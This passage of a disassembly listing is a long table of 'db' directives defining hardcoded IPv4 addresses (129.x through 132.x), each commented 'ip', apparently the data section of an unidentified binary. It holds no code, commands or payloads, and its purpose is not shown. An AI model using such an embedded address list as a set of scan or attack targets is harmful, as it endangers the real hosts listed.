	  db 129, 191, 2 dup(1)		; ip
	  db 129, 192, 64, 25		; ip
	  db 129, 193, 4, 1		; ip
	  db 129, 194, 4, 32		; ip
	  db 129, 194, 4, 6		; ip
	  db 129, 194, 8, 7		; ip
	  db 129, 195, 254, 60		; ip
	  db 129, 195, 254, 61		; ip
	  db 129, 196, 225, 20		; ip
	  db 129, 196, 225, 21		; ip
	  db 129, 198, 241, 41		; ip
	  db 129, 199, 96, 11		; ip
	  db 129, 20, 128, 49		; ip
	  db 129, 20, 254, 1		; ip
	  db 129, 203, 254, 65		; ip
	  db 129, 206, 100, 126		; ip
	  db 129, 206, 100, 127		; ip
	  db 129, 207, 100, 3		; ip
	  db 129, 2 dup(21), 1		; ip
	  db 129, 21, 239, 30		; ip
	  db 129, 21, 3, 17		; ip
	  db 129, 21, 30, 1		; ip
	  db 129, 21, 33, 3		; ip
	  db 129, 21, 4, 18		; ip
	  db 129, 21, 55, 1		; ip
	  db 129, 21, 57, 1		; ip
	  db 129, 21, 57, 129		; ip
	  db 129, 21, 58, 1		; ip
	  db 129, 21, 60, 8		; ip
	  db 129, 21, 60, 9		; ip
	  db 129, 21, 94, 129		; ip
	  db 129, 210, 12, 245		; ip
	  db 129, 210, 8, 1		; ip
	  db 129, 212, 11, 1		; ip
	  db 129, 213, 128, 2		; ip
	  db 129, 213, 128, 98		; ip
	  db 129, 215, 160, 240		; ip
	  db 129, 215, 166, 13		; ip
	  db 129, 215, 168, 33		; ip
	  db 129, 215, 42, 240		; ip
	  db 129, 215, 70, 239		; ip
	  db 129, 217, 131, 3		; ip
	  db 129, 217, 4, 42		; ip
	  db 129, 219, 13, 81		; ip
	  db 129, 219, 17, 200		; ip
	  db 129, 219, 17, 5		; ip
	  db 129, 22, 4, 1		; ip
	  db 129, 22, 4, 3		; ip
	  db 129, 228, 2 dup(221)	; ip
	  db 129, 233, 17, 27		; ip
	  db 129, 233, 17, 47		; ip
	  db 129, 234, 4, 11		; ip
	  db 129, 234, 4, 22		; ip
	  db 129, 234, 4, 9		; ip
	  db 129, 235, 70, 21		; ip
	  db 129, 236, 10, 20		; ip
	  db 129, 236, 10, 30		; ip
	  db 129, 237, 32, 1		; ip
	  db 129, 237, 32, 2		; ip
	  db 129, 239, 26, 10		; ip
	  db 129, 24, 8, 1		; ip
	  db 129, 24, 8, 4		; ip
	  db 129, 240, 2, 3		; ip
	  db 129, 240, 2, 40		; ip
	  db 129, 240, 64, 2		; ip
	  db 129, 241, 1, 5		; ip
	  db 129, 241, 1, 96		; ip
	  db 129, 241, 1, 99		; ip
	  db 129, 241, 10, 24		; ip
	  db 129, 241, 103, 5		; ip
	  db 129, 241, 108, 11		; ip
	  db 129, 241, 110, 12		; ip
	  db 129, 241, 140, 10		; ip
	  db 129, 241, 15, 250		; ip
	  db 129, 241, 155, 11		; ip
	  db 129, 241, 16, 10		; ip
	  db 129, 241, 2 dup(190)	; ip
	  db 129, 241, 192, 10		; ip
	  db 129, 241, 200, 3		; ip
	  db 129, 241, 210, 211		; ip
	  db 129, 241, 2 dup(22)	; ip
	  db 129, 241, 27, 21		; ip
	  db 129, 241, 42, 2		; ip
	  db 129, 241, 6, 100		; ip
	  db 129, 241, 6, 107		; ip
	  db 129, 241, 64, 4		; ip
	  db 129, 241, 2 dup(7)		; ip
	  db 129, 241, 82, 40		; ip
	  db 129, 241, 93, 17		; ip
	  db 129, 242, 4, 254		; ip
	  db 129, 242, 5, 254		; ip
	  db 129, 244, 41, 32		; ip
	  db 129, 246, 101, 11		; ip
	  db 129, 247, 160, 1		; ip
	  db 129, 247, 64, 1		; ip
	  db 129, 247, 96, 1		; ip
	  db 129, 250, 124, 10		; ip
	  db 129, 250, 15, 61		; ip
	  db 129, 250, 252, 10		; ip
	  db 129, 250, 31, 190		; ip
	  db 129, 250, 35, 32		; ip
	  db 129, 250, 35, 33		; ip
	  db 129, 250, 35, 34		; ip
	  db 129, 252, 41, 11		; ip
	  db 129, 252, 42, 25		; ip
	  db 129, 253, 170, 1		; ip
	  db 129, 253, 170, 2		; ip
	  db 129, 254, 126, 13		; ip
	  db 129, 26, 8, 82		; ip
	  db 129, 3, 2 dup(1)		; ip
	  db 129, 3, 1,	100		; ip
	  db 129, 3, 1,	36		; ip
	  db 129, 30, 3, 10		; ip
	  db 129, 30, 3, 16		; ip
	  db 129, 4, 2 dup(1)		; ip
	  db 129, 4, 2,	1		; ip
	  db 129, 41, 0, 4		; ip
	  db 129, 41, 0, 5		; ip
	  db 129, 41, 128, 4		; ip
	  db 129, 41, 128, 5		; ip
	  db 129, 41, 240, 4		; ip
	  db 129, 41, 240, 5		; ip
	  db 129, 41, 32, 4		; ip
	  db 129, 41, 32, 5		; ip
	  db 129, 41, 42, 20		; ip
	  db 129, 41, 42, 21		; ip
	  db 129, 41, 48, 4		; ip
	  db 129, 41, 48, 5		; ip
	  db 129, 41, 54, 4		; ip
	  db 129, 41, 54, 5		; ip
	  db 129, 41, 60, 2		; ip
	  db 129, 41, 63, 200		; ip
	  db 129, 41, 63, 201		; ip
	  db 129, 41, 80, 4		; ip
	  db 129, 41, 80, 5		; ip
	  db 129, 42, 2, 5		; ip
	  db 129, 42, 4, 133		; ip
	  db 129, 42, 2	dup(6)		; ip
	  db 129, 43, 1, 11		; ip
	  db 129, 48, 104, 214		; ip
	  db 129, 49, 7, 250		; ip
	  db 129, 49, 7, 3		; ip
	  db 129, 5, 16, 230		; ip
	  db 129, 5, 16, 232		; ip
	  db 129, 51, 5, 160		; ip
	  db 129, 51, 5, 161		; ip
	  db 129, 53, 219, 1		; ip
	  db 129, 53, 219, 101		; ip
	  db 129, 55, 12, 3		; ip
	  db 129, 55, 24, 3		; ip
	  db 129, 59, 1, 10		; ip
	  db 129, 59, 2, 10		; ip
	  db 129, 6, 13, 2		; ip
	  db 129, 60, 39, 102		; ip
	  db 129, 60, 39, 103		; ip
	  db 129, 61, 146, 23		; ip
	  db 129, 61, 146, 3		; ip
	  db 129, 62, 1, 2		; ip
	  db 129, 62, 16, 4		; ip
	  db 129, 63, 2	dup(1)		; ip
	  db 129, 64, 99, 11		; ip
	  db 129, 64, 99, 12		; ip
	  db 129, 65, 16, 254		; ip
	  db 129, 65, 21, 254		; ip
	  db 129, 66, 172, 9		; ip
	  db 129, 66, 20, 4		; ip
	  db 129, 66, 76, 4		; ip
	  db 129, 66, 95, 3		; ip
	  db 129, 67, 2	dup(1)		; ip
	  db 129, 67, 1, 180		; ip
	  db 129, 68, 113, 1		; ip
	  db 129, 68, 113, 2		; ip
	  db 129, 69, 1, 28		; ip
	  db 129, 7, 2 dup(1)		; ip
	  db 129, 7, 1,	20		; ip
	  db 129, 70, 132, 100		; ip
	  db 129, 70, 4, 55		; ip
	  db 129, 70, 5, 16		; ip
	  db 129, 71, 2	dup(1)		; ip
	  db 129, 71, 2, 1		; ip
	  db 129, 72, 60, 8		; ip
	  db 129, 73, 1, 15		; ip
	  db 129, 74, 250, 100		; ip
	  db 129, 77, 2	dup(1)		; ip
	  db 129, 78, 151, 1		; ip
	  db 129, 78, 36, 1		; ip
	  db 129, 78, 64, 1		; ip
	  db 129, 78, 64, 2		; ip
	  db 129, 79, 2	dup(1)		; ip
	  db 129, 79, 254, 191		; ip
	  db 129, 79, 5, 100		; ip
	  db 129, 8, 50, 105		; ip
	  db 129, 8, 52, 2		; ip
	  db 129, 80, 22, 135		; ip
	  db 129, 81, 132, 1		; ip
	  db 129, 81, 132, 3		; ip
	  db 129, 81, 16, 21		; ip
	  db 129, 81, 224, 50		; ip
	  db 129, 82, 100, 64		; ip
	  db 129, 85, 1, 21		; ip
	  db 129, 88, 30, 1		; ip
	  db 129, 88, 32, 24		; ip
	  db 129, 89, 169, 3		; ip
	  db 129, 89, 2, 14		; ip
	  db 129, 89, 6, 2		; ip
	  db 129, 89, 7, 14		; ip
	  db 129, 89, 7, 2		; ip
	  db 129, 92, 252, 254		; ip
	  db 129, 92, 253, 248		; ip
	  db 129, 93, 2	dup(1)		; ip
	  db 129, 95, 20, 109		; ip
	  db 129, 95, 20, 2		; ip
	  db 129, 95, 20, 252		; ip
	  db 129, 96, 1, 21		; ip
	  db 129, 96, 252, 31		; ip
	  db 129, 97, 128, 10		; ip
	  db 129, 97, 128, 100		; ip
	  db 129, 98, 1, 4		; ip
	  db 129, 98, 1, 6		; ip
	  db 129, 98, 201, 26		; ip
	  db 13, 1, 64,	94		; ip
	  db 130, 101, 10, 1		; ip
	  db 130, 101, 147, 251		; ip
	  db 130, 101, 4, 253		; ip
	  db 130, 101, 5, 4		; ip
	  db 130, 101, 2 dup(8)		; ip
	  db 130, 101, 88, 250		; ip
	  db 130, 101, 9, 2		; ip
	  db 130, 102, 128, 43		; ip
	  db 130, 102, 128, 53		; ip
	  db 130, 102, 176, 12		; ip
	  db 130, 102, 176, 27		; ip
	  db 130, 102, 2, 15		; ip
	  db 130, 102, 2, 53		; ip
	  db 130, 104, 2 dup(1)		; ip
	  db 130, 104, 1, 2		; ip
	  db 130, 104, 254, 1		; ip
	  db 130, 107, 1, 20		; ip
	  db 130, 107, 1, 230		; ip
	  db 130, 108, 128, 200		; ip
	  db 130, 108, 2, 10		; ip
	  db 130, 11, 48, 2		; ip
	  db 130, 110, 1, 5		; ip
	  db 130, 111, 130, 7		; ip
	  db 130, 111, 32, 11		; ip
	  db 130, 111, 32, 7		; ip
	  db 130, 112, 1, 2		; ip
	  db 130, 112, 1, 84		; ip
	  db 130, 113, 128, 1		; ip
	  db 130, 113, 64, 1		; ip
	  db 130, 114, 200, 6		; ip
	  db 130, 115, 2 dup(1)		; ip
	  db 130, 115, 15, 2		; ip
	  db 130, 116, 2, 8		; ip
	  db 130, 118, 4, 2		; ip
	  db 130, 125, 1, 10		; ip
	  db 130, 127, 200, 5		; ip
	  db 130, 127, 28, 32		; ip
	  db 130, 13, 16, 6		; ip
	  db 2 dup(130), 64, 1		; ip
	  db 2 dup(130), 68, 1		; ip
	  db 130, 131, 48, 11		; ip
	  db 130, 132, 1, 10		; ip
	  db 130, 132, 1, 11		; ip
	  db 130, 132, 1, 9		; ip
	  db 130, 133, 1, 57		; ip
	  db 130, 134, 80, 10		; ip
	  db 130, 135, 110, 7		; ip
	  db 130, 135, 110, 9		; ip
	  db 130, 136, 1, 110		; ip
	  db 130, 137, 64, 2		; ip
	  db 130, 14, 25, 2		; ip
	  db 130, 14, 35, 128		; ip
	  db 130, 149, 17, 5		; ip
	  db 130, 149, 2, 12		; ip
	  db 130, 149, 4, 20		; ip
	  db 130, 15, 126, 54		; ip
	  db 130, 15, 126, 7		; ip
	  db 130, 150, 102, 100		; ip
	  db 130, 150, 102, 20		; ip
	  db 130, 153, 141, 11		; ip
	  db 130, 153, 8, 60		; ip
	  db 130, 155, 16, 1		; ip
	  db 130, 155, 192, 40		; ip
	  db 130, 155, 194, 32		; ip
	  db 130, 155, 2, 8		; ip
	  db 130, 157, 2, 3		; ip
	  db 130, 157, 2, 5		; ip
	  db 130, 158, 68, 21		; ip
	  db 130, 158, 71, 54		; ip
	  db 130, 159, 196, 126		; ip
	  db 130, 159, 248, 11		; ip
	  db 130, 159, 248, 26		; ip
	  db 130, 159, 248, 9		; ip
	  db 130, 160, 4, 114		; ip
	  db 130, 160, 2 dup(4)		; ip
	  db 130, 161, 143, 200		; ip
	  db 130, 161, 148, 24		; ip
	  db 130, 161, 16, 167		; ip
	  db 130, 161, 160, 3		; ip
	  db 130, 161, 164, 206		; ip
	  db 130, 161, 180, 1		; ip
	  db 130, 161, 180, 65		; ip
	  db 130, 161, 188, 140		; ip
	  db 130, 161, 189, 1		; ip
	  db 130, 161, 196, 197		; ip
	  db 130, 161, 204, 1		; ip
	  db 130, 161, 216, 7		; ip
	  db 130, 161, 228, 12		; ip
	  db 130, 161, 229, 2		; ip
	  db 130, 161, 232, 128		; ip
	  db 130, 161, 242, 70		; ip
	  db 130, 161, 253, 1		; ip
	  db 130, 161, 28, 21		; ip
	  db 130, 161, 33, 17		; ip
	  db 130, 161, 34, 250		; ip
	  db 130, 161, 37, 24		; ip
	  db 130, 162, 160, 150		; ip
	  db 130, 162, 160, 151		; ip
	  db 130, 163, 1, 2		; ip
	  db 130, 163, 1, 200		; ip
	  db 130, 164, 140, 12		; ip
	  db 130, 164, 140, 15		; ip
	  db 130, 166, 2 dup(1)		; ip
	  db 130, 166, 1, 70		; ip
	  db 130, 167, 1, 101		; ip
	  db 130, 167, 1, 2		; ip
	  db 130, 167, 101, 1		; ip
	  db 130, 17, 1, 4		; ip
	  db 130, 17, 1, 50		; ip
	  db 130, 179, 16, 143		; ip
	  db 130, 179, 16, 67		; ip
	  db 130, 18, 80, 12		; ip
	  db 130, 18, 80, 13		; ip
	  db 130, 181, 12, 102		; ip
	  db 130, 181, 12, 149		; ip
	  db 130, 182, 121, 1		; ip
	  db 130, 182, 171, 1		; ip
	  db 130, 183, 1, 21		; ip
	  db 130, 183, 9, 32		; ip
	  db 130, 184, 7, 103		; ip
	  db 130, 184, 7, 93		; ip
	  db 130, 185, 89, 125		; ip
	  db 130, 186, 2 dup(1)		; ip
	  db 130, 186, 1, 53		; ip
	  db 130, 187, 2 dup(1)		; ip
	  db 130, 188, 4, 3		; ip
	  db 130, 188, 2 dup(4)		; ip
	  db 130, 189, 240, 100		; ip
	  db 130, 191, 2 dup(1)		; ip
	  db 130, 191, 229, 14		; ip
	  db 130, 192, 3, 21		; ip
	  db 130, 192, 3, 24		; ip
	  db 130, 192, 60, 12		; ip
	  db 130, 194, 1, 99		; ip
	  db 130, 194, 7, 99		; ip
	  db 130, 195, 2, 11		; ip
	  db 130, 195, 2, 249		; ip
	  db 130, 195, 5, 12		; ip
	  db 130, 195, 6, 10		; ip
	  db 130, 199, 3, 8		; ip
	  db 130, 199, 4, 6		; ip
	  db 130, 20, 128, 34		; ip
	  db 130, 2 dup(20), 36		; ip
	  db 130, 20, 64, 36		; ip
	  db 130, 20, 84, 11		; ip
	  db 130, 20, 84, 36		; ip
	  db 130, 202, 20, 3		; ip
	  db 130, 202, 20, 5		; ip
	  db 130, 203, 1, 4		; ip
	  db 130, 203, 1, 5		; ip
	  db 130, 203, 16, 6		; ip
	  db 130, 205, 70, 10		; ip
	  db 130, 206, 1, 2		; ip
	  db 130, 206, 1, 3		; ip
	  db 130, 207, 2 dup(244)	; ip
	  db 130, 207, 244, 251		; ip
	  db 130, 209, 4, 16		; ip
	  db 130, 209, 4, 18		; ip
	  db 130, 210, 2, 10		; ip
	  db 130, 212, 10, 162		; ip
	  db 130, 212, 10, 163		; ip
	  db 130, 215, 24, 1		; ip
	  db 130, 216, 2 dup(1)		; ip
	  db 130, 216, 1, 4		; ip
	  db 130, 217, 64, 12		; ip
	  db 130, 218, 100, 5		; ip
	  db 130, 219, 34, 100		; ip
	  db 130, 22, 30, 253		; ip
	  db 130, 220, 30, 32		; ip
	  db 130, 221, 16, 2		; ip
	  db 130, 221, 16, 4		; ip
	  db 130, 223, 4, 5		; ip
	  db 130, 223, 8, 20		; ip
	  db 130, 225, 96, 3		; ip
	  db 130, 226, 1, 4		; ip
	  db 130, 227, 199, 1		; ip
	  db 130, 230, 24, 10		; ip
	  db 130, 231, 240, 1		; ip
	  db 130, 232, 2 dup(1)		; ip
	  db 130, 232, 1, 22		; ip
	  db 130, 233, 224, 1		; ip
	  db 130, 233, 224, 13		; ip
	  db 130, 234, 2 dup(1)		; ip
	  db 130, 235, 128, 100		; ip
	  db 130, 235, 132, 90		; ip
	  db 130, 235, 20, 3		; ip
	  db 130, 236, 1, 9		; ip
	  db 130, 236, 48, 2		; ip
	  db 130, 237, 72, 200		; ip
	  db 130, 237, 72, 201		; ip
	  db 130, 238, 164, 6		; ip
	  db 130, 238, 4, 133		; ip
	  db 130, 238, 7, 10		; ip
	  db 130, 239, 16, 3		; ip
	  db 130, 239, 8, 10		; ip
	  db 130, 240, 2 dup(1)		; ip
	  db 130, 240, 19, 2		; ip
	  db 130, 241, 150, 2		; ip
	  db 130, 241, 25, 5		; ip
	  db 130, 245, 1, 15		; ip
	  db 130, 246, 72, 21		; ip
	  db 130, 246, 8, 13		; ip
	  db 130, 251, 1, 4		; ip
	  db 130, 251, 21, 8		; ip
	  db 130, 253, 1, 13		; ip
	  db 130, 254, 4, 1		; ip
	  db 130, 33, 8, 27		; ip
	  db 130, 33, 8, 41		; ip
	  db 130, 34, 11, 111		; ip
	  db 130, 34, 11, 117		; ip
	  db 130, 36, 30, 13		; ip
	  db 130, 36, 61, 200		; ip
	  db 130, 36, 62, 200		; ip
	  db 130, 37, 129, 4		; ip
	  db 130, 37, 24, 6		; ip
	  db 130, 39, 128, 71		; ip
	  db 130, 39, 254, 30		; ip
	  db 130, 39, 254, 5		; ip
	  db 130, 39, 3, 5		; ip
	  db 130, 41, 1, 251		; ip
	  db 130, 44, 210, 14		; ip
	  db 130, 47, 34, 2		; ip
	  db 130, 50, 23, 2		; ip
	  db 130, 53, 1, 8		; ip
	  db 130, 53, 1, 9		; ip
	  db 130, 54, 8, 13		; ip
	  db 130, 57, 27, 1		; ip
	  db 130, 57, 4, 1		; ip
	  db 130, 58, 68, 10		; ip
	  db 130, 59, 1, 30		; ip
	  db 130, 59, 10, 30		; ip
	  db 130, 60, 128, 3		; ip
	  db 130, 60, 68, 51		; ip
	  db 130, 63, 168, 21		; ip
	  db 130, 63, 237, 99		; ip
	  db 130, 64, 1, 8		; ip
	  db 130, 64, 5, 8		; ip
	  db 130, 65, 120, 1		; ip
	  db 130, 65, 25, 1		; ip
	  db 130, 65, 3, 1		; ip
	  db 130, 66, 33, 3		; ip
	  db 130, 67, 60, 66		; ip
	  db 130, 70, 40, 25		; ip
	  db 130, 71, 128, 8		; ip
	  db 130, 73, 108, 1		; ip
	  db 130, 74, 1, 75		; ip
	  db 130, 74, 128, 4		; ip
	  db 130, 75, 1, 32		; ip
	  db 130, 78, 143, 1		; ip
	  db 130, 79, 200, 1		; ip
	  db 130, 80, 29, 22		; ip
	  db 130, 82, 128, 1		; ip
	  db 130, 82, 128, 2		; ip
	  db 130, 83, 22, 60		; ip
	  db 130, 83, 22, 63		; ip
	  db 130, 83, 56, 60		; ip
	  db 130, 84, 32, 8		; ip
	  db 130, 84, 8, 14		; ip
	  db 130, 85, 1, 3		; ip
	  db 130, 85, 1, 4		; ip
	  db 130, 85, 1, 5		; ip
	  db 130, 87, 34, 2		; ip
	  db 130, 87, 34, 6		; ip
	  db 130, 88, 192, 2		; ip
	  db 130, 88, 200, 4		; ip
	  db 130, 88, 200, 6		; ip
	  db 130, 89, 1, 2		; ip
	  db 130, 89, 220, 2		; ip
	  db 130, 92, 9, 52		; ip
	  db 130, 95, 128, 1		; ip
	  db 130, 95, 128, 2		; ip
	  db 131, 10, 254, 40		; ip
	  db 131, 10, 254, 60		; ip
	  db 131, 103, 1, 101		; ip
	  db 131, 104, 136, 11		; ip
	  db 131, 104, 20, 10		; ip
	  db 131, 104, 96, 20		; ip
	  db 131, 106, 1, 41		; ip
	  db 131, 107, 1, 240		; ip
	  db 131, 109, 31, 100		; ip
	  db 131, 110, 52, 200		; ip
	  db 131, 110, 52, 201		; ip
	  db 131, 111, 12, 20		; ip
	  db 131, 111, 8, 42		; ip
	  db 131, 112, 125, 16		; ip
	  db 131, 112, 125, 4		; ip
	  db 131, 113, 2 dup(1)		; ip
	  db 131, 114, 21, 10		; ip
	  db 131, 2 dup(115), 50	; ip
	  db 131, 115, 15, 7		; ip
	  db 131, 118, 1, 30		; ip
	  db 131, 118, 254, 1		; ip
	  db 131, 118, 254, 129		; ip
	  db 131, 119, 245, 5		; ip
	  db 131, 119, 245, 6		; ip
	  db 131, 120, 254, 52		; ip
	  db 131, 120, 254, 58		; ip
	  db 131, 121, 2 dup(1)		; ip
	  db 131, 121, 1, 2		; ip
	  db 131, 123, 2 dup(1)		; ip
	  db 131, 125, 2 dup(1)		; ip
	  db 131, 126, 220, 6		; ip
	  db 131, 128, 1, 127		; ip
	  db 131, 130, 1, 11		; ip
	  db 131, 130, 1, 12		; ip
	  db 2 dup(131), 10, 20		; ip
	  db 4 dup(131)			; ip
	  db 131, 136, 242, 3		; ip
	  db 131, 136, 242, 4		; ip
	  db 131, 137, 255, 2		; ip
	  db 131, 137, 96, 3		; ip
	  db 131, 14, 120, 12		; ip
	  db 131, 14, 145, 11		; ip
	  db 131, 144, 4, 10		; ip
	  db 131, 144, 4, 9		; ip
	  db 131, 146, 2, 1		; ip
	  db 131, 149, 0, 3		; ip
	  db 131, 149, 1, 2		; ip
	  db 131, 15, 136, 2		; ip
	  db 131, 151, 1, 7		; ip
	  db 131, 151, 254, 243		; ip
	  db 131, 154, 1, 11		; ip
	  db 131, 154, 1, 3		; ip
	  db 131, 154, 3, 1		; ip
	  db 131, 155, 2, 3		; ip
	  db 131, 155, 2, 7		; ip
	  db 131, 156, 1, 11		; ip
	  db 131, 156, 126, 2		; ip
	  db 131, 158, 4, 7		; ip
	  db 131, 158, 4, 8		; ip
	  db 131, 158, 50, 40		; ip
	  db 131, 158, 50, 65		; ip
	  db 131, 159, 0, 1		; ip
	  db 131, 159, 0, 81		; ip
	  db 131, 161, 2 dup(1)		; ip
	  db 131, 161, 2, 1		; ip
	  db 131, 161, 233, 46		; ip
	  db 131, 161, 246, 241		; ip
	  db 131, 161, 250, 103		; ip
	  db 131, 161, 3, 1		; ip
	  db 131, 161, 60, 10		; ip
	  db 131, 162, 2, 90		; ip
	  db 131, 165, 63, 81		; ip
	  db 131, 165, 63, 83		; ip
	  db 131, 166, 1, 5		; ip
	  db 131, 167, 1, 2		; ip
	  db 131, 169, 200, 2		; ip
	  db 131, 17, 177, 1		; ip
	  db 131, 170, 2 dup(1)		; ip
	  db 131, 171, 2 dup(11)	; ip
	  db 131, 172, 2 dup(2)		; ip
	  db 131, 173, 245, 1		; ip
	  db 131, 173, 245, 2		; ip
	  db 131, 174, 224, 4		; ip
	  db 131, 174, 60, 21		; ip
	  db 131, 175, 1, 2		; ip
	  db 131, 175, 1, 4		; ip
	  db 131, 176, 26, 2		; ip
	  db 131, 176, 26, 3		; ip
	  db 131, 178, 2 dup(1)		; ip
	  db 131, 178, 38, 39		; ip
	  db 131, 179, 128, 16		; ip
	  db 131, 179, 128, 30		; ip
	  db 131, 181, 1, 3		; ip
	  db 131, 181, 254, 99		; ip
	  db 131, 181, 71, 12		; ip
	  db 131, 181, 71, 2		; ip
	  db 131, 181, 97, 10		; ip
	  db 131, 183, 2 dup(1)		; ip
	  db 131, 184, 96, 33		; ip
	  db 131, 188, 3, 2		; ip
	  db 131, 188, 44, 45		; ip
	  db 131, 189, 165, 239		; ip
	  db 131, 189, 29, 241		; ip
	  db 131, 191, 254, 40		; ip
	  db 131, 191, 7, 3		; ip
	  db 131, 193, 32, 254		; ip
	  db 131, 193, 40, 254		; ip
	  db 131, 194, 130, 11		; ip
	  db 131, 194, 151, 1		; ip
	  db 131, 201, 177, 11		; ip
	  db 131, 202, 1, 3		; ip
	  db 131, 202, 3, 4		; ip
	  db 131, 203, 1, 5		; ip
	  db 131, 203, 248, 1		; ip
	  db 131, 204, 10, 13		; ip
	  db 131, 204, 2, 10		; ip
	  db 131, 204, 41, 3		; ip
	  db 131, 206, 2, 10		; ip
	  db 131, 207, 1, 11		; ip
	  db 131, 209, 1, 16		; ip
	  db 131, 209, 1, 4		; ip
	  db 131, 210, 1, 15		; ip
	  db 131, 211, 16, 32		; ip
	  db 131, 211, 4, 5		; ip
	  db 131, 211, 4, 6		; ip
	  db 131, 215, 139, 100		; ip
	  db 131, 215, 254, 100		; ip
	  db 131, 215, 254, 99		; ip
	  db 131, 216, 1, 11		; ip
	  db 131, 216, 22, 2		; ip
	  db 131, 217, 1, 19		; ip
	  db 131, 217, 10, 1		; ip
	  db 131, 220, 14, 203		; ip
	  db 131, 220, 16, 220		; ip
	  db 131, 220, 18, 138		; ip
	  db 131, 224, 1, 20		; ip
	  db 131, 224, 2, 12		; ip
	  db 131, 225, 17, 150		; ip
	  db 131, 225, 8, 120		; ip
	  db 131, 227, 100, 12		; ip
	  db 131, 227, 102, 6		; ip
	  db 131, 227, 102, 91		; ip
	  db 131, 228, 20, 19		; ip
	  db 131, 228, 2 dup(20)	; ip
	  db 131, 229, 64, 2		; ip
	  db 131, 230, 252, 1		; ip
	  db 131, 230, 252, 2		; ip
	  db 131, 231, 2 dup(16)	; ip
	  db 131, 231, 16, 7		; ip
	  db 131, 232, 10, 2		; ip
	  db 131, 234, 22, 3		; ip
	  db 131, 234, 22, 30		; ip
	  db 131, 236, 1, 17		; ip
	  db 131, 236, 1, 2		; ip
	  db 131, 238, 75, 165		; ip
	  db 131, 24, 119, 10		; ip
	  db 131, 241, 15, 5		; ip
	  db 131, 243, 64, 2		; ip
	  db 131, 243, 64, 3		; ip
	  db 131, 244, 2 dup(1)		; ip
	  db 131, 244, 14, 1		; ip
	  db 131, 246, 137, 50		; ip
	  db 131, 246, 9, 116		; ip
	  db 131, 247, 1, 40		; ip
	  db 131, 247, 100, 1		; ip
	  db 131, 248, 58, 1		; ip
	  db 131, 249, 1, 2		; ip
	  db 131, 250, 64, 14		; ip
	  db 131, 250, 64, 2		; ip
	  db 131, 251, 0, 10		; ip
	  db 131, 251, 0, 4		; ip
	  db 131, 252, 129, 53		; ip
	  db 131, 252, 208, 38		; ip
	  db 131, 2 dup(254), 2		; ip
	  db 131, 254, 6, 128		; ip
	  db 131, 3, 128, 4		; ip
	  db 131, 30, 224, 7		; ip
	  db 131, 32, 246, 2		; ip
	  db 131, 35, 138, 2		; ip
	  db 131, 36, 116, 32		; ip
	  db 131, 36, 116, 59		; ip
	  db 131, 37, 206, 2		; ip
	  db 131, 37, 206, 25		; ip
	  db 131, 38, 214, 2		; ip
	  db 131, 38, 214, 6		; ip
	  db 131, 39, 248, 2		; ip
	  db 131, 39, 248, 6		; ip
	  db 131, 44, 121, 5		; ip
	  db 131, 46, 41, 51		; ip
	  db 131, 46, 41, 54		; ip
	  db 131, 47, 100, 30		; ip
	  db 131, 48, 240, 3		; ip
	  db 131, 50, 151, 3		; ip
	  db 131, 50, 151, 5		; ip
	  db 131, 51, 128, 5		; ip
	  db 131, 52, 121, 2		; ip
	  db 131, 52, 121, 4		; ip
	  db 131, 53, 128, 3		; ip
	  db 131, 53, 128, 53		; ip
	  db 131, 54, 121, 1		; ip
	  db 131, 54, 121, 11		; ip
	  db 131, 54, 121, 20		; ip
	  db 131, 55, 121, 11		; ip
	  db 131, 55, 121, 2		; ip
	  db 131, 58, 208, 250		; ip
	  db 131, 59, 200, 10		; ip
	  db 131, 59, 200, 3		; ip
	  db 131, 6, 84, 2		; ip
	  db 131, 6, 84, 3		; ip
	  db 131, 6, 84, 69		; ip
	  db 131, 61, 211, 11		; ip
	  db 131, 61, 211, 2		; ip
	  db 131, 63, 50, 1		; ip
	  db 131, 63, 50, 2		; ip
	  db 131, 64, 2	dup(4)		; ip
	  db 131, 64, 8, 1		; ip
	  db 131, 66, 1, 2		; ip
	  db 131, 68, 3, 1		; ip
	  db 131, 7, 52, 3		; ip
	  db 131, 7, 52, 9		; ip
	  db 131, 74, 160, 103		; ip
	  db 131, 74, 160, 104		; ip
	  db 131, 77, 60, 253		; ip
	  db 131, 77, 61, 253		; ip
	  db 131, 80, 1, 12		; ip
	  db 131, 80, 1, 8		; ip
	  db 131, 81, 2	dup(1)		; ip
	  db 131, 84, 1, 41		; ip
	  db 131, 84, 1, 42		; ip
	  db 131, 89, 128, 10		; ip
	  db 131, 93, 0, 1		; ip
	  db 131, 94, 128, 2		; ip
	  db 131, 95, 84, 2		; ip
	  db 132, 1, 207, 2		; ip
	  db 132, 1, 207, 3		; ip
	  db 132, 10, 250, 15		; ip
	  db 132, 10, 250, 3		; ip
	  db 132, 146, 137, 1		; ip
	  db 132, 146, 5, 1		; ip
	  db 132, 147, 128, 2		; ip
	  db 132, 147, 64, 1		; ip
	  db 132, 148, 80, 211		; ip
	  db 132, 15, 225, 2		; ip
	  db 132, 15, 225, 210		; ip
	  db 132, 15, 225, 211		; ip
	  db 132, 150, 8, 1		; ip
	  db 132, 151, 2 dup(1)		; ip
	  db 132, 151, 1, 19		; ip
	  db 132, 153, 3, 2		; ip
	  db 132, 156, 36, 1		; ip
	  db 132, 156, 36, 14		; ip
	  db 132, 158, 49, 3		; ip
	  db 132, 158, 82, 36		; ip
	  db 132, 16, 115, 10		; ip
	  db 132, 161, 10, 60		; ip
	  db 132, 162, 32, 243		; ip
	  db 132, 163, 4, 9		; ip
	  db 132, 166, 192, 6		; ip
	  db 132, 166, 192, 7		; ip
	  db 132, 168, 148, 11		; ip
	  db 132, 169, 128, 1		; ip
	  db 132, 170, 240, 15		; ip
	  db 132, 170, 249, 15		; ip
	  db 132, 174, 11, 252		; ip
	  db 132, 174, 11, 253		; ip
	  db 132, 175, 1, 3		; ip
	  db 132, 175, 249, 6		; ip
	  db 132, 176, 114, 23		; ip
	  db 132, 176, 114, 24		; ip
	  db 132, 176, 65, 20		; ip
	  db 132, 177, 100, 31		; ip
	  db 132, 177, 101, 32		; ip
	  db 132, 177, 128, 56		; ip
	  db 132, 177, 128, 99		; ip
	  db 132, 178, 16, 3		; ip
	  db 132, 179, 39, 1		; ip
	  db 132, 18, 128, 2		; ip
	  db 132, 18, 128, 50		; ip
	  db 132, 180, 15, 4		; ip
	  db 132, 180, 15, 5		; ip
	  db 132, 181, 2, 38		; ip
	  db 132, 181, 2, 39		; ip
	  db 132, 183, 1, 11		; ip
	  db 132, 185, 132, 21		; ip
	  db 132, 187, 2 dup(1)		; ip
	  db 132, 187, 1, 3		; ip
	  db 132, 189, 76, 10		; ip
	  db 132, 19, 75, 50		; ip
	  db 132, 190, 92, 15		; ip
